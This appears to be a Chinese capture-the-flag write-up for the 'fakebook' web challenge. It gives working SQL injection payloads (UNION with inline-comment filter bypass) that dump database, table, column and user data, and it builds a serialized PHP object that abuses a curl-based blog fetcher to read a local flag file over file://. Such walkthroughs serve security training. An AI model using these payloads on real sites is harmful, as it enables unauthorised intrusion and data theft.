fakebook

解题方法:

一.用御剑扫描后台,查看robot.txt文件,发现是一个/user.php.bak,备份文件,我们访问这个文件

php 复制代码
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这段代码定义了一个名为 UserInfo 的 PHP 类,用于存储用户信息并提供一些与用户博客相关的功能

在getBlogContents方法中,this-\>get是一个用于发起HTTP请求的并获取内容的方法,如果this->get被设置为一个恶意的URL,比如指向本地文件系统或执行某些危险命令,那么这个方法可能会被用来触发安全问题

我们通过代码提示的信息注册用户

注册成功后,发现username下的1可以点

跳转到view.php中并通过no传参

考虑是否有:注入,文件包含,伪协议......

利用SQL注入参数no为数字型注入判断字段数为4,绕过过滤用内联注释绕过union select

获取库名,表名,字段名

sql 复制代码
?no=-1 union/**/select 1,database(),3,4-- -    # 数据库名:fakebook
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -    # 表名:users
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'-- -    # 字段:no,username,passwd,data
?no=-1 union/**/select 1,group_concat(data),3,4 from users-- -    # 数据:O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:222:"https://cn.bing.com/search?q=%5B%E7%BD%91%E9%BC%8E%E6%9D%AF+2018%5DFakebook&qs=n&form=QBRE&sp=-1&lq=0&pq=%5B%E7%BD%91%E9%BC%8E%E6%9D%AF+2018%5Dfakebook&sc=6-18&sk=&cvid=30C97E210BB24A1BB8133DD531D12478&ghsh=0&ghacc=0&ghpl=";}

data字段存储序列化后的用户信息,需进一步利用

构造恶意序列化数据

通过user.php.bak源码,构造UserInfo对象的序列化字符串,将blog指向file:///var/www/html/flag.php:

php 复制代码
    <?php
    class UserInfo {
        public $name = "test";
        public $age = 0;
        public $blog = "file:///var/www/html/flag.php";
    }
    echo serialize(new UserInfo);

或者使用load_file直接从/var/www/html/flag.php获取

相关推荐
2501_916007478 分钟前
iOS和macOS应用程序性能分析和优化工具使用综合指南
android·macos·ios·小程序·uni-app·iphone·webview
黄林晴42 分钟前
Nearby Connections 重大变更:不再自动开启 Wi-Fi / 蓝牙,适配指南
android
恋猫de小郭1 小时前
Flutter 全新真 3D 实现,用 flutter_scene 能开发一个「我的世界」
android·前端·flutter
HLC++14 小时前
Linux的进程间通信
android·linux·服务器
爱笑鱼17 小时前
Binder(二):AIDL 生成的 Proxy、Stub 和 Parcel 到底在做什么?
android
爱笑鱼18 小时前
Binder(一):一次方法调用,究竟怎样跨进程执行?
android
壮哥_icon19 小时前
【Android 系统开发】使用 BAT 脚本高效自动化管理 /system/priv-app/ 系统应用(安装与卸载)
android·运维·自动化
用户693717500138420 小时前
Claude Code终端日志Token占用实测:一个过滤器砍掉60%-90%
android·前端·后端
蝉蜕日记20 小时前
AccumuPDF高级版 v2.57 | 视图文转换PDF,合并分割压缩
android·智能手机·pdf·生活·软件需求
吐了啊取名字太难20 小时前
美颜系统AI修图本地跑并支持Mac、win、安卓、iOS不卡顿
android·人工智能·windows·数码相机·mac·ai编程